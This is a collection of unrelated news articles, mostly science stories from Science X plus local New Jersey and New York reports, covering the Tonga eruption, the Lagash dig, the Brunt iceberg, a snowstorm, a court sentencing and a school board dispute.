The process involved a complex combination of force systems that almost coincidentally acted to lower the pressure in the magmatic system to move material to the surface of the volcano and jet it out to the atmosphere. The research team put together a comprehensive, time-varying, analytical characterization process to provide insights into the seismic sources involved at the most energetic stage of the eruption.

Global P-wave ground motion and reaction force time series. (A) Global stack of 518 vertical component P-wave ground motions from stations shown in the inset map, filtered in the passband of 0.01 to 0.05 Hz and corrected to a reference distance of 78.5, which is the median distance of all stations used for the body wave analysis. Time is from 100 s before the P-wave arrival time at 78.5 [04:26:46 UTC, red dashed line] relative to the origin time of the M5.8 event (04:14:45 UTC), located by the USGS. Note the smooth low-amplitude long-period energy within 40 s preceding the expected arrival. (B) Vertical downward (reaction) point-force time history obtained by deconvolving the global stack by an impulse response Green's function, with imposed positivity constraint. The first two main volcanic events E1 and E2 are shown in the gray boxes. Credit: Science Advances (2023). DOI: 10.1126/sciadv.add4931

Vertical reaction force time history from Rayleigh waves. The median stack vertical point-force time histories obtained by deconvolving individual displacement recordings extending for 5000 (A) and 16,300 s (B) after the source began by corresponding Green's functions for vertical motion (LHZ) and horizontal motion (LHR) of short-arc Rayleigh waves. The inset map shows locations of the 30 stations used. Consistency of the LHZ and LHR time series confirms that the motions are Rayleigh waves. Intervals of the seismograms when ground motion was contaminated by the passage of the atmospheric Lamb pulse were screened out before stacking the individual force time histories. The first three main volcanic events E1, E2, and E3 are shown in the gray boxes. Credit: Science Advances (2023). DOI: 10.1126/sciadv.add4931

Direct reaction forces and resonant forces

The research team calculated the axisymmetric radiation of body waves and surface waves resulting from the source location to assess the process of rapid vertical venting seen during the explosive eruption. Taken together, the P-wave and Rayleigh wave signals showed the sequence of explosive eruptions that lasted approximately four and a half hours to generate the reaction forces seen across Earth.

Following these assessments, the researchers noted how the narrow-band long-period ground motions for the 2022 Tonga eruption showed similarities of resonant Rayleigh waves to those seen during the 1991 Pinatubo eruption. The oscillatory forces computed at the site of the source showed a large amplification at approximately 4,500 seconds after the event to indicate the time taken for the atmospheric acoustic standing modes to develop.

Long-period Rayleigh waves generated by resonating atmospheric acoustic modes coupled with the solid Earth at the source region. (A) Ground displacements, filtered in the 0.003- to 0.005-Hz passband, recorded at stations ADK, MAJO, PASC, and YBH at varying epicentral distances () and azimuths from the source (). (B) Spectra of the vertical ground motions filtered in the 0.003- to 0.005-Hz passband. Spectral peaks at 3.4 and 4.6 mHz correspond to the frequencies of atmospheric acoustic standing wave modes that couple to the ground to excite Rayleigh waves that spread from the source region. Credit: Science Advances (2023). DOI: 10.1126/sciadv.add4931

Outlook

In this way, Ricardo Garza-Girn and colleagues showed the profound implications of the dynamics of rare, very large volcanic eruptions. The observed wave motions resulting from the 2022 Tonga eruption spread across the land, sea and atmosphere. The bursty and energetic eruption process indicated interactions between water and magma, as well as dynamic changes in conduit stability.

The researchers computed the time-integrative cumulative forces acting on Earth during the most energetic volcanic event in recent years. The team of scientists further included seismological force impulse models to describe how further interactions between the land and air could be sustained during volcanic events through atmospheric acoustic oscillations.

More information: Ricardo Garza-Giron et al, Solid Earthatmosphere interaction forces during the 15 January 2022 Tonga eruption, Science Advances (2023). DOI: 10.1126/sciadv.add4931 Corwin J. Wright et al, Surface-to-space atmospheric waves from Hunga TongaHunga Ha'apai eruption, Nature (2022). DOI: 10.1038/s41586-022-05012-5 Journal information: Science Advances , Nature

 2023 Science X Network
ISLAMABAD, Jan. 24 (Xinhua) -- Pakistani President Arif Alvi said on Tuesday that Pakistan will make efforts to raise literacy rate in the country in compliance with the U.N. 2030 Agenda for Sustainable Development.

"Education is considered to be closely related to the economic and social development of a country. Without substantial investment in human resources, no country can achieve sustainable economic development," Alvi said in his message on the occasion of the International Day of Education.

The president said that education is a powerful driver of development, and is one of the strongest instruments for reducing poverty and improving health, gender equality, peace and stability.

Education delivers large, consistent returns in terms of income, and is the most important factor to ensure equality and inclusion, he added.

Talking about the younger generation of Pakistan, Alvi stressed that the government needs to impart them with marketable education and provide equal opportunities for them to excel in their career.

The incumbent government is working with stakeholders to increase literacy rate by providing school access to all children and improving the education system through providing marketable skills to youth and enabling them to earn a respectable livelihood with modern technology, he said. 
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Dr. Hank Pernicka, a Curators Distinguished Teaching Professor of aerospace engineering and spacecraft design expert at Missouri S&T, says humans will likely not have the ability to visit planet TOI 700 e anytime soon. Credit: Michael Pierce/Missouri S&T.

Researchers at NASA recently announced the discovery of another planet about 95% the size of Earth that is 100 light-years away and could potentially sustain life.

Could this new discovery lead to humans one day traveling to planet TOI 700 e and enjoying its resources, such as the potential for liquid water? This is a question people may naturally ask, but they may not like the current answer.

"That is not going to happen in our lifetimes, but it is fascinating to discuss," says Dr. Hank Pernicka, Curators' Distinguished Teaching Professor of aerospace engineering at Missouri S&T. "This planet is 100 light-years away. That means if we developed a spacecraft to go the speed of light, it would still take 100 years to reach this destination."

The speed of light is 186,000 miles per second. Pernicka, who is an expert in spacecraft design, says the first issue to consider would be getting a vehicle to reach the speeds necessary for interstellar travel.

"There would be lots of showstoppers with this, the first of which is even getting that fast," he says. "The concept of a light-year and the distance involved in this travel is mind blowing."

Pernicka says another area to consider would be the number of uncertainties with the spacecraft itself.

"When traveling at these speeds, there would be a large amount of variables to consider," he says. "For example, even a little piece of debris in the path of the spacecraft could do a large amount of damage."

The way in which the spacecraft is fueled would also have to be considered. Currently, any long-distance missions sponsored by NASA use nuclear power, and that fuel source would eventually be depleted.

For example, NASA's Voyager 1, which was launched in 1977 and is the only spacecraft to travel to interstellar space, will likely run out of fuel in the next few years. This space probe, which travels at speeds of around 38,000 mph, is now over 14.8 billion miles from Earth.

"Voyager 1 has been on an amazing journey and has blown all of NASA's expectations out of the water," Pernicka says, "but this is still nowhere near the distance of even one light-year."

Pernicka says the key to one day reaching the necessary speeds may lie in the concept of solar sailing, which would propel spacecraft by using the pressure of the sun's radiation. Another option may be using a wormhole, he says, but neither option would be a possibility anytime soon.

"With a wormhole, that would almost be a form of cheating," he says. "However, it could theoretically work. In that situation, we would need to develop the spacecraft so it could survive the journey, which could be very violent."

Even though interstellar tourists or even space probes may not travel to planet TOI 700 e soon, Pernicka still has hopes for the future of space travel and the contributions made by Missouri S&T.

Pernicka says the university has professors in multiple disciplines researching the cosmos in various ways. He says that his current projects include developing satellites with thruster technology that will be launched in the coming years in collaboration with NASA, as well as inspector satellites for the United States military.

"The research we are doing is out of this world," Pernicka says. "I am excited to see how our efforts continue to affect space travel in the future."
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Most requested languages across every sector. Credit: Current language roles needed in the job market, (2023).

British students wanting to get ahead in the world of work should be studying an additional language. New research from the University of Portsmouth, based on the analysis of job adverts targeted at graduates, shows a high demand for language skills that is now often unmet in secondary school settings.

Dr. Begona Rodriguez de Cespedes is Senior Lecturer in Translation Studies at the University of Portsmouth and Executive Committee member of the University Council of Modern Languages. Amidst concerns that secondary schools are often dropping a requirement to study foreign languages, she has been looking at the needs of employers to find candidates with suitable skills.

Her research shows there are hundreds of jobs listed for graduates where an additional language is required. German is the most requested, closely followed by French. Across a one-month period in summer 2022, Dr. Rodriguez de Cespedes monitored UK job adverts in a wide range of employment fields. The time frame reflected the period when many graduates apply for work. A job was listed in the data only if the post listed a second language as required or essential, rather than simply as desirable, preferred, or advantageous.

This new study comes as the UK Government announces 14.9million of new funding to expand a 'language hubs' scheme, which is designed to increase the uptake and quality of language teaching for 14-18 year olds. It is putting specific focus on increasing the number of students who study German, a decision that is backed up by this latest research from the University of Portsmouth.

In total 619 jobs were discovered on a multitude of websites requiring mastery of languages as the main requisite, of which 237 requested German, 208 wanted French, 96 listed Spanish and 71 asked for a candidate to speak Italian. The research also looked at which sectors were making these requests. It found Customer Service, Customer Support & Call Centre was the highest area of demand, accounting for 171 adverts. This was followed by Sales, Account Management & Business Development which made 120 requests for additional language skills.

Dr. Rodriguez de Cespedes says, "It is clear that employers are crying out for job candidates to speak additional languages, with the government also recognizing the crisis that has developed due to a big fall in the number of students studying them. Our research has shown that across multiple employment sectors an additional language isn't just desirable it is essential. Students wanting to get ahead in the world of work should be studying an additional language to give themselves the opportunity of being qualified for hundreds of jobs."
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Holly Pittman and a team of researchers studying the archaeological site of Lagash, seen at bottom center, hypothesize that the ancient city was likely a significant population center that had ready access to fertile land and people dedicated to intensive craft production. Credit: Courtesy of Lagash Archaeological Project

When Holly Pittman and colleagues from the University of Pennsylvania and University of Pisa returned to Lagash in the fall of 2022 for a fourth season, they knew they'd find more than ceramic fragments and another kiln. With high-tech tools in hand, the team precisely located trenches to excavate a variety of features of a non-elite urban neighborhood from one of southwest Asia's earliest cities.

What surprised the researchers most was the large "tavern" they uncovered, complete with benches, a type of clay refrigerator called a "zeer," an oven, and the remains of storage vessels, many of which still contained food. "It's a public eating space dating to somewhere around 2700 BCE," says Pittman, a professor in Penn's History of Art department, curator of the Penn Museum's Near East Section, and the Lagash project director. "It's partially open air, partially kitchen area."

The find provides another glimpse into the lives of everyday people who dwelled some 5,000 years ago in this part of the world, an area Penn researchers have studied since the 1930s when the Penn Museum teamed up with Leonard Woolley and the British Museum to excavate the important archaeological site of Ur about 30 miles to the southwest. In 2019, the latest round of Lagash excavations began, and despite a short pandemic-necessitated pause, the project has real momentum, with four field seasons now complete.

To excavate most effectively, the researchers are employing cutting-edge methodologies, including drone photography and thermal imaging; magnetometry, which captures the magnetic intensity of buried features; and micro-stratigraphic sampling, a surgically precise type of excavation. To understand the city's environmental context, they've also extracted sediment cores that reflect millennia of ecological development.

"At more than 450 hectares, Lagash was one of the largest sites in southern Iraq during the 3rd millennium," Pittman says. "The site was of major political, economic, and religious importance. However, we also think that Lagash was a significant population center that had ready access to fertile land and people dedicated to intensive craft production. In that way the city might have been something like Trenton, as in 'Trenton makes, the world takes,' a capital city but also an important industrial one."

A return to Lagash

During the fourth millennium BCE, about 6,000 years ago, the mouth of the Persian Gulf lay some 150 miles farther northwest than it does today. Close to that ancient shoreline sat a trio of settlementsGirsu, Lagash, and Niginwhich together made up the larger city-state also known as Lagash. For more than 150 years, the three cities were unified as a single powerful and wealthy political entity.

A map of southern Mesopotamia during the third millennium BCE, around 6,000 years ago. Credit: M. Sauvage Atlas

Initially, archaeologists believed that the site of Girsu was Lagash. Then, in 1953, a surface inscription revealed the ancient city's true location, at a spot called Tell al-Hiba, named after the nearby village. In the 1960s and '70s, a team led by Donald Hansen of NYU's Institute of Fine Arts and Vaughn Crawford of the Metropolitan Museum of Art completed five field seasons at the ancient city focusing on monumental and administrative architecture.

The Iran-Iraq War ended that work and, save for a UCLA survey in 1984, the site remained untouched until 1990, when Hansen and colleagues returned. That group included Pittman, a former student of Hansen's who was then a newly minted associate professor at Penn. "Donald and I walked around the site and fantasized that we would start a new campaign, and it would be NYU and Penn and we would go together," Pittman recalls.

After that single season, however, the First Gulf War halted research again. Though Pittman continued working in the Middle East for the next several decadesincluding analyzing and publishing the results of Hansen's Lagash fieldwork after he diedit wasn't until 2017 that she approached the State Board of Antiquities and Heritage (SBAH) in Iraq for a permit to resume work at the site.

Around that time, Zaid Alrawi had been interviewing for a postdoctoral position at the Penn Museum when he ran into Ph.D. student Reed Goodman, a former classmate now working with Pittman. "He told me about Holly and the project she wanted to resume at Lagash," Alrawi says, "that she was looking for help from someone who spoke Arabic and who knew archaeology."

Alrawi, originally from Iraq, had recently completed a Ph.D. in landscape archaeology at Penn State University; Goodman made the connection, and two weeks later, Alrawi and Pittman were on a plane. "We visited a few sites, starting with Lagash," Alrawi says. "That brought Holly a lot of emotion. We went to the collapsed dig house where she had stayed previously. It was a special time. It showed me she wasn't a random director who wanted to start a projectthere was history thereand that mattered to me almost before anything else."

Following that December 2018 visit, the rest of the team came together quickly, with Pittman at the helm and Alrawi as project manager. Augusta McMahon, then at the University of Cambridge and now at the University of Chicago, joined as field director, along with SBAH representatives and a dozen faculty and students, including Goodman. In March 2019, they had their first field season. "Nobody on the team had worked in Iraq for a long time," Pittman says. "But it was an extraordinarily successful season. We came back with a lot of information and ideas about how we wanted to go forward."

Since then, the University of Pisa's Sara Pizzimenti has become field director, taking over the role during the most recent season. Goodman has returned three times, and a handful of other Penn graduate students have participated in various aspects of the project, including supervising excavations, registering small finds, and drawing thousands of pottery sherds.

ittman, director of the Lagash Archaeological Project, stands in the bedroom door of a collapsed dig house where she had stayed during previous fieldwork. Credit: Lagash Archaeological Project

The kilns and craft production

The Lagash settlement runs about three miles from north to south and one mile across, making it one of the biggest archaeological sites in southern Mesopotamia. Just beneath its surface lies evidence that can help reconstruct the lives of everyday people during what's known as the Early Dynastic period, a 600-year stretch from 2900 to 2300 BCE, when some of the world's first cities found their form.

During that first season, in the southern part of the site, the team noticed clear evidence of prior burning on a high rise, including an ashy surface with waste materials from pottery manufacture. Under McMahon's guidance, they opened a large, square trench, where they unearthed six ceramic kilns with oval pits made of baked mudbrick. No upper portions remained, but at the time, McMahon surmised the tops were likely domed, composed of the same mud and clay that lined them. Excavations in the spring and fall of 2022 revealed five more kilns.

To the archaeologists, the density of the kilns indicates significant ceramic production at Lagash, and, since their discovery, the structures have elicited many follow-up questions: For one, how was such craft production organized? Was it politically centralized or run by smaller, local communities? At what temperatures did the kilns operate? And what was their lifespan?

Answers to those queries alone could fill volumes, but the researchers have more, specifically about nearby architecture. Pittman says the kilns have likely survived for thousands of yearsand so close to the surface, toobecause they were hardened by fire. It's increasingly clear that most of the surrounding streets, alleyways, and buildings predate the kilns, with millennia of rain, flooding, and wind erasing those that would have been contemporary.

Yet recent work suggests that at least one street and workspace align, timewise, with one kiln area. "We found two rectangular pits that seem to represent stages of ceramic production," Pittman says. "One contained a pure red clay, which has ideal plastic qualities and is still used today. The other held a coarse yellow-green sand, which would serve as a tempering agent."

An open space just west of these pits, likely also used by those same ceramic makers, contained benches and a table. In another square nearby, the team excavated what seems like a domestic dwelling that had a kitchen with clay jar stoppers, bowls with food, and a grinding stone on the floor, plus a toilet several rooms over. Each discovery reveals more about the people of Lagash.

A portion of the site known as Area H, which sits in Lagashs central-southern section, in a zone of low, discontinuous mounding. Here, magnetometry imaging from 2019 and 2022 seasons shows the magnetic intensity of buried features. Credit: Composite image: Paul Zimmerman/Lagash Archaeological Project

Geological coring and water

The team is making similar inroads with its grasp of Lagash's ancient environment. Scholars have hypothesized that the city was once much closer to the Persian Gulf, and as part of his doctoral research, Goodman is working to determine when and why that distance changed. "I've been looking at the relationship between urbanization in southern Iraq and changing waterscapes," Goodman explains. "That's how I fell in with Holly."

In 2019, he conducted the first geoarchaeological studies at Lagash, using a handheld device called an auger to collect about 40 feet of sediment from 12 locations. More recently, the project teamed up with local drilling technicians to reach about 80 feet down. Getting to such depths has provided tens of thousands of years of environmental proxy information, covering the late Pleistocene, which began around 2.5 million years ago and ended approximately 11,700 years ago, and the Holocene, which directly followed the Pleistocene.

Goodman is studying the samples with Liviu Giosan of the National Ocean Sciences Accelerator Mass Spectrometry facility at Woods Hole Oceanographic Institution. This work includes measuring a sample's elemental composition with X-ray fluorescence, as well as its carbon isotopic signatures to differentiate downstream sediment sources, plus investigating ancient organisms like foraminifera and ostracoda, which reflect fresh, brackish, and marine conditions.

"In the Pleistocene, southern Iraq was very different than today, with fast-flowing and deeply incised rivers," says Goodman, who is in his final year of a Ph.D. in Penn's Art and Archaeology of the Mediterranean World graduate group. Goodman and colleagues are finding that by Lagash's heyday, as the heart of the Tigris-Euphrates delta migrated southeast, the climate shifted from wetter to drier, posing an increasing challenge for the local population.

Combining all this information, "we'll see deltaic evolution in this ecological cauldron across centuries," Pittman says. "This is something people have theoretically modeled, but we're getting actual dates of water regime changes, which will be revolutionary. It's environmental science at the cutting edge."

A drone photo of one of the sites trenches, which shows two rectangular pits that held clay. Such finds provide further evidence that Lagash was a site where significant craft production took place. Credit: Lagash Archaeological Project

A picture begins to emerge

Each discovery reveals another layer of the landscape and more about the people of ancient Lagash, enabled by what Alrawi calls a "modern" excavation approach. "It's not like old-time archaeology in Iraq," he says. "We're not going after big mounds expecting to find an old temple. We use our techniques and then, based on scientific priority, go after what we think will yield important information to close knowledge gaps in the field."

Craft production is one such example; so is knowing the proximity to the sea. But there are many others. "As you excavate, you analyze and create a story that we hope gets closer and closer to the reality of the past," Alrawi says.

For her part, Pittman says she's thrilled at the progress of this now well-oiled machine. "We're all completely committed to the collective success of this project," she says. "Iraq has suffered so profoundly for many years. I hope it will find stability and be able to enjoy and nurture its great and important antiquity. Our role is to help make that happen."

That played out this past fall as the team uncovered the tavern. Rather than digging according to architectural construction phases, the Lagash Archaeological Project is using an approach championed by Pisa's Pizzimenti, who excavates by microstratigraphic layers, thin lens by thin lens horizontally, across a wide swath, "like doing very careful surgery," Pittman says. "Just 50 centimeters down, we were able to capture all of this. We were happily astounded."

Pittman and her colleagues feel such a sentiment time and again at Lagash, an ancient settlement that was part of a network of ancient cities in Iraq, individual sites connected if not by physical proximity, then by economics and politics, industry and natural resources. A variety of artifacts there show the archaeological passing of time, and despite all that's already been exposed or imaged, there's still so much yet to learn.

Partnering with the community

Tell al-Hiba, the site of this archaeological excavation, is also a small village. "Giving back to this community is paramount," says Holly Pittman, Lagash project director. For the primary school, the researchers helped facilitate a new courtyard, privacy wall, and bathrooms, and project manager Zaid Alrawi is working with locals he knows to identify other areas of critical need in the village.

Through its website, the team also shares important discoveries, both in English and Arabic. "Ultimately," Pittman says, "we're striving to maximize synergy and symbiosis with our hosts, as the economic and intellectual stimulus from the research creates a fundamental network of commitment, trust, and, following years of neglect, recovery."

More information: For more information about the Lagash Archaeological Project, visit web.sas.upenn.edu/lagash.
This article has been reviewed according to Science X's editorial process and policies . Editors have highlighted the following attributes while ensuring the content's credibility:

Credit: Contains modified Copernicus Sentinel data (202123), processed by ESA, CC BY-SA 3.0 IGO

Satellite imagery confirms an enormous iceberg, around five times the size of Malta, has finally calved from Antarctica's Brunt Ice Shelf. The new berg, estimated to be around 1550 sq km and around 150 m thick, calved when the crack known as Chasm-1 fully extended northwards severing the west part of the ice shelf.

This crack was first revealed to be extending in early 2012 after having been dormant for some decades. After several years of desperately clinging on, image data from the Copernicus Sentinel missions visually confirm the calving event.

The timing of the calving event, although unexpected, had long been anticipated. Glaciologists have monitored the many cracks and chasms that have formed in the thick Brunt Ice Shelf, which borders the Coats Land coast in the Weddell Sea sector of Antarctica, for years. It was only a matter of time that Chasm 1, which had been dormant for decades, would meet with the Halloween Crack, first spotted on Halloween 2016. Credit: Contains modified Copernicus Sentinel data (202123), processed by ESA, CC BY-SA 3.0 IGO

The new iceberg is anticipated to be named A-81 with the smaller piece to the north likely identified as either A-81A or A-82. Icebergs are traditionally identified by a capital letter indicating the Antarctic quadrant in which they were originally sighted, followed by a sequential number, then, if the iceberg breaks into smaller pieces, a sequential letter suffix.

The split was first reported by the British Antarctic Survey (BAS) as having occurred on 22 January between 19:00 and 20:00 UTC during a spring tide. BAS's Halley VI Research Station, where glaciologists have been monitoring the behavior of the ice shelf, has remained unaffected by the calving event.

The research station was relocated in 2017 to a more secure location after the ice shelf was deemed unsafe. The station is currently around 20 km from the line of rupture and there are currently 21 staff working on the station to maintain power supplies and facilities that keep the scientific experiences operating throughout winter.

Credit: European Space Agency

ESA's Mark Drinkwater said, "After several years of iceberg calving watch, the long-awaited separation of the Brunt iceberg A-81 has finally taken place. The northward propagation of Chasm 1 and timely decision for BAS to move the Halley Base to safer ground have been accompanied by what has been perhaps the most detailed and longest duration scrutiny of events leading to natural calving from an Antarctic ice shelf."

"Thanks to Copernicus, coupled with in-situ and airborne measurements made by the British Antarctic Survey, the safety of the Halley Base has been preserved. Meanwhile the combination of summer images from Sentinel-2 and availability of year-round and winter monitoring by Sentinel-1 radar placed the pattern of strain and propagation of an ice shelf fracture under the worldwide public microscope."

Dominic Hodgson, BAS glaciologist, added, "This calving event has been expected and is part of the natural behavior of the Brunt Ice Shelf. It is not linked to climate change. Our science and operational teams continue to monitor the ice shelf in real-time to ensure it is safe, and to maintain the delivery of the science we undertake at Halley."

Routine monitoring from satellites offers unparalleled views of events happening in remote regions and show how ice shelves are actively responding to changes in ice dynamics, air and ocean temperatures. In February 2021, another giant berg, around 1270 sq km, broke off from the northern section of Brunt. Spotted by Sentinel-1 imagery, it has already drifted away from the Brunt Ice Shelf into the Weddell Sea.

Before and after. Credit: Brunt Ice Shelf

So, what happens now?

The calving of ice bergs from an ice shelf has been observed to be followed by adjustment in the flow of ice into the ice shelf. If Brunt now experiences an acceleration, it could influence the behavior of other cracks in the area.

Mark explained, "The calving of iceberg A74, and latest separation, now focuses attention back onto the Halloween crackwhose extension could contribute to further destabilization of the Brunt Ice Shelf."

"A typical accompaniment to such strain release events and removal of pinning of an ice shelf front by bottom features such as McDonald Bank which forms the McDonald Ice Rumples may be an acceleration in the velocity of ice flowing into the ice shelf. We will be using the capabilities of the Copernicus Sentinels to closely monitor the behavior and stability of the remaining Brunt Ice Shelf."
Of the 11 public school districts in Washington County, Granville was the only district that remained open Monday after snow began falling Sunday night.

The Granville Central School District followed its regular protocols that have been used for years prior in determining if it should open, close or delay the start of school, Superintendent Tom McGurl said in an email.

The National Weather Service had a winter storm warning in effect until 1 p.m. Monday.

Road conditions varied Sunday evening, and area crews, including the Washington County Department of Public Works, were busy tending to slick roads.

In Warren County, Department of Public Works Superintendent Kevin Hajos said his staff had most Warren County-maintained roads clear by 10:30 a.m. Monday, and warmer temperatures were allowing what remained on the pavement to melt.

The storm, which brought all snow and no ice or freezing rain, made it easier to deal with for the plow crews.

Thankfully it was all snow and a lot of it is melting already, Hajos said by email.

Glens Falls public works crews began plowing roads at 6 p.m. Sunday, according to Superintendent Tom Girard. Girard said the city saw about 6 to 7 inches of snow, with some areas receiving more.

The roads are in a good shape now, but were concerned they may freeze over tonight, he said Monday. During the storm, we did have one truck go down because of a transmission issue. Otherwise, our biggest challenge during the storm may have been being down four drivers due to injuries and non-COVID related illness.

In the coming days, there is a hazardous weather outlook in effect for Glens Falls due to another winter storm moving toward the Adirondacks. Snow is set to begin again late Wednesday into Thursday, according to the National Weather Service in Albany.

Another storm will impact the region for Wednesday into Thursday with snow or mixed precipitation. There is the potential for moderate to heavy snowfall, especially for northern and high terrain areas, the weather statement said.

Amanda Delaney, senior meteorologist with Weather Routing Inc. in Glens Falls, said the new storm will not quite resemble the storm earlier in the week. She said drivers will see a change in road conditions starting late Wednesday afternoon.

This storm that just came up today, came up from the Gulf (of Mexico) and out to sea. This next system is coming from Texas and up the Mississippi Valley and toward the Great Lakes, she said. Snow will hit mid- to late afternoon on Wednesday. The onset of snow will occur after kids get out of school and affect the evening commute. It will start as snow and then a secondary low could develop and warm air could turn into sleet around midnight.

As for accumulations, Delaney said that the Glens Falls area will see a transition to ice in the early morning on Thursday and it will taper off in the late afternoon into the evening.

Right now it could be another 5 to 7 inches of snow for the area with more in the higher elevations. If the ice comes in faster or we have a dry spell overnight, it could put snowfall in the lower ranges, she said.
BRIGANTINE  Changes are on the way for the 34th Street traffic circle.

The city will redesign the shape and traffic flow to make the lighthouse circle a true circle, since according to the law, the lighthouse circle isnt a true roundabout circle but an obstructed roadway.

Work on the changes to the circle will start after the summer tourism season, officials said.

By the time the project is done, the roundabout will have one lane entering and exiting, stop signs will be removed and yield signs will be placed at the entrance of the circle, City Manager Jim Bennett said.

Last week, City Council approved a $16,200 contract with Point Pleasant Beach-based Beach Engineering BT for engineering evaluation for the project.

We feel that it will alleviate any confusion, make it safer for all drivers and traffic will flow better, Bennett said.

The redevelopment of the circle is estimated to cost $2.1 million. The project has not gone out to bid yet, Bennett said.

In addition to making the circle safer, the project will include drainage improvements. The area has been prone to flooding due to collapsed drainpipes near the circle.

The cost of the project will be split between the city and Atlantic County. Under an agreement, which was approved by council in September, the county will be responsible for 78% of the cost, while the city will pick up the rest of the tab.

Talks about redesigning the lighthouse circle traffic pattern have been going on for some time, Bennett said.

In the last couple years, mayor and council, along with support from our county commissioners and County Exec Denny Levinson, were able to begin the process. The circle is indeed a traffic diversion device and not a true circle or roundabout, said Bennett. With the increase in our summertime population, we wanted to address it and make it safer and clearer for all to navigate.

Despite the changes to the traffic patterns, there arent any plans to change the iconic lighthouse at the center of the circle.

New Jersey American Water looks to impose new surcharge to cover state lead-regulation costs A major water utility company in New Jersey is looking to impose a new surcharge on customer

The lighthouse has been at the site since 1926. It was built by Island Development Real Estate Company to attract people to the resort. Over the years, it has served as the headquarters for the Brigantine Police Department, a museum and even a gift shop.

One of the major issues with the lighthouse circle is that some drivers treat it like its a circle, while other drivers treat it like an obstructed roadway, which causes a lot of confusion since the difference means different rules to follow.

Since many out-of-towners are unfamiliar with how to navigate the circles traffic pattern, the obstructed roadway is a hub for vehicular accidents and incidents.

I can say that there have been a decent amount of accidents and near misses are increasing each year with our increased visitor population, who are unfamiliar with this unique intersection design, Bennett said.

The project also includes the construction of new sidewalks around the entire circle, marked pedestrian crossings at intersections, reshaping the parking for the commercial building on the circles ocean side and green spaces on the bayside.

County officials estimated engineering and design work to the circle will take about eight months to complete. No timetable has been set for the start of construction, but the city has a moratorium on construction from Memorial Day to Labor Day.
A Bridgeton man who admitted conspiring with others to acquire and distribute cocaine was sentenced to 9 years in prison Tuesday, the U.S. Attorneys Office said.

Lavinston Lamar, 40, pleaded guilty before U.S. District Court Judge Renee Marie Bumb on May 5, 2022, to one count of conspiring to distribute cocaine. Lamar also pleaded guilty to violating the conditions of his supervised release from a prior conviction for conspiring to distribute cocaine.

Lamar also will be subject to six years of parole supervision upon release, the U.S. Attorneys Office said in a news release.

He confessed to conspiring with Carl Lee Holloway, Marvin Murphy and others to possess and distribute cocaine.

Bridgeton man pleads guilty to planning cocaine distribution CAMDEN  A Bridgeton man admitted Thursday to plotting cocaine distribution, U.S. Attorney P

The group planned to facilitate cocaine sales by Holloway to a third party, from who Lamar would be paid for the transaction, according to evidence shared in court.

Undercover agents on July 13, 2021, met both Lamar and Murphy when they separately entered a Mount Laurel, Burlington County, hotel room with bags holding about $243,000. They briefly inspected about 1 kilogram of cocaine brought into the room by the agents. Agents then rushed in and arrested Holloway, Murphy and Lamar.
NEW YORK  Even in rehearsal on Saturday, Micah Rucci did not quite believe he was going to be on national television.

In live television, nothing is real until it happens, Rucci said on Monday, crediting the quote to Saturday Night Live creator Lorne Michaels.

Rucci, 23, who grew up in North Wildwood and graduated from Wildwood Catholic High School, is a page with Saturday Night Live, in what he describes as one of the most-coveted positions in the page program.

On Saturday, guest star Aubrey Plaza, an alumna of the page program, had two pages place a blue page blazer on her.

Thank you, guys, Plaza said. You guys will definitely host SNL someday. Yeah, right.

Rucci said Monday he expected the show to hire extras for the appearance, which lasts a few seconds. The monologue also included a video from President Joe Biden, calling Plaza the most famous person from Delaware, and an appearance by Amy Poehler, who appeared with Plaza on the hit show Parks and Recreation.

It was Poehler who convinced Rucci that the appearance would actually take place, telling him to text his family and friends to make sure they tuned in.

Its happening! Its happening! You have to tell everyone, she said, as Rucci told it.

The page program is a yearlong commitment, which Rucci began last spring, almost immediately after graduating from the University of Virginia with a degree in media studies and a degree in Spanish.

He said he worked for two years on a thesis on Saturday Night Live, exploring LGBTQ representations in the long-running show, and how that representation has changed over the years. There are still stereotypes used in the show, he said, but the context has changed.

In the past, it was heterosexual people making the jokes, not members of the LGBTQ+ community, Rucci said. Before 2022, he said, only a small percentage of the shows cast and guest stars identified as LGBTQ.

He said he won a spot as a remote intern for NBC, and loved the experience.

A lot of my bosses and mentors asked, have you thought about the page program? Rucci said. The acceptance process is intensely competitive, he said, and he tried not to get his hopes up. He thought it was more likely he would have another summer waiting tables at Duffers Restaurant in Wildwood. Now, he works at 30 Rockefeller Plaza.

Thats now the building I get to work in every day, he said.

The hours can be grueling, with Rucci starting at 8 a.m. on Saturdays and remaining until 3 a.m. Sunday.

Rucci hopes to have a career in late-night television, he said, describing the energy as similar to when he appeared in plays and productions at Wildwood Catholic. No matter what, the show goes on when the time comes.

The pages are the faces of NBC for many visitors and guest stars, Rucci said. The sitcom 30 Rock, based in part on Tina Feys experience as head writer for SNL, featured page Kenneth Parcell, played by Jack McBrayer as endlessly cheerful.

Rucci said the character introduced the NBC page program to the public, and said one aspect of the character is true to life: Youve got to keep smiling.

When everything is chaos, people are going to ask questions of the guy in the peacock tie, he said.

Rucci was named a Press of Atlantic City Young Leader in 2018, one of 25 area high school students recognized for his leadership and civic works as a high school student.
UPPER TOWNSHIP  Parents and residents at a crowded Board of Education meeting Monday asked why the district approved a separation agreement with former Superintendent Vincent Palmieri worth more than $300,000.

Several members of the public criticized the board over the cost of the agreement and called for more details to be released about it.

We the parents and taxpayers in Upper Township expect and demand answers to why the board thought this would be a good idea, resident Mike Scanlan said.

They did not get very much.

Before opening the meeting to public comment, the board had its attorney, Frank P. Cavallo Jr., read a statement about the agreement, saying the redactions made to a released copy of the document were required by law.

The district released a copy of the agreement after a request from a reporter, citing New Jerseys Open Public Records Act. But significant sections of the eight-page document were redacted. Significant parts of sections two and three were blacked out, as were all of sections five, six, seven and eight. Section five appeared to be the longest of the sections in the document, covering close to three pages.

Attorney: Uppers separation deal with former super was not secret UPPER TOWNSHIP  Attorney Frank P. Cavallo, Jrs statement on a separation agreement with fo

Palmieri will receive the same salary this year as he did last, $176,083. From Jan. 1, 2024, until Dec. 31 of the same year, he will receive $135,000, according to the agreement. That will total $311,083 over two years.

So far, board members have not said why Palmieri left the job in the middle of the school year, beyond a statement that the separation was by mutual agreement. Members of the board said Monday they wished they could say more.

At the meeting, Cavallo said Palmieri accepted less in the agreement than he would have otherwise been owed, stating that Palmieri held tenure in the district as a school principal, and significant vacation and sick time accrued over his 20 years in the district, for which he would be entitled to compensation.

Teachers, parents and community members crowded the library of Upper Township Middle School in the Petersburg section of the township, where the board meets. The board had a full agenda, which did not include any further action on Palmieris agreement, but the agreement dominated the comments from the public.

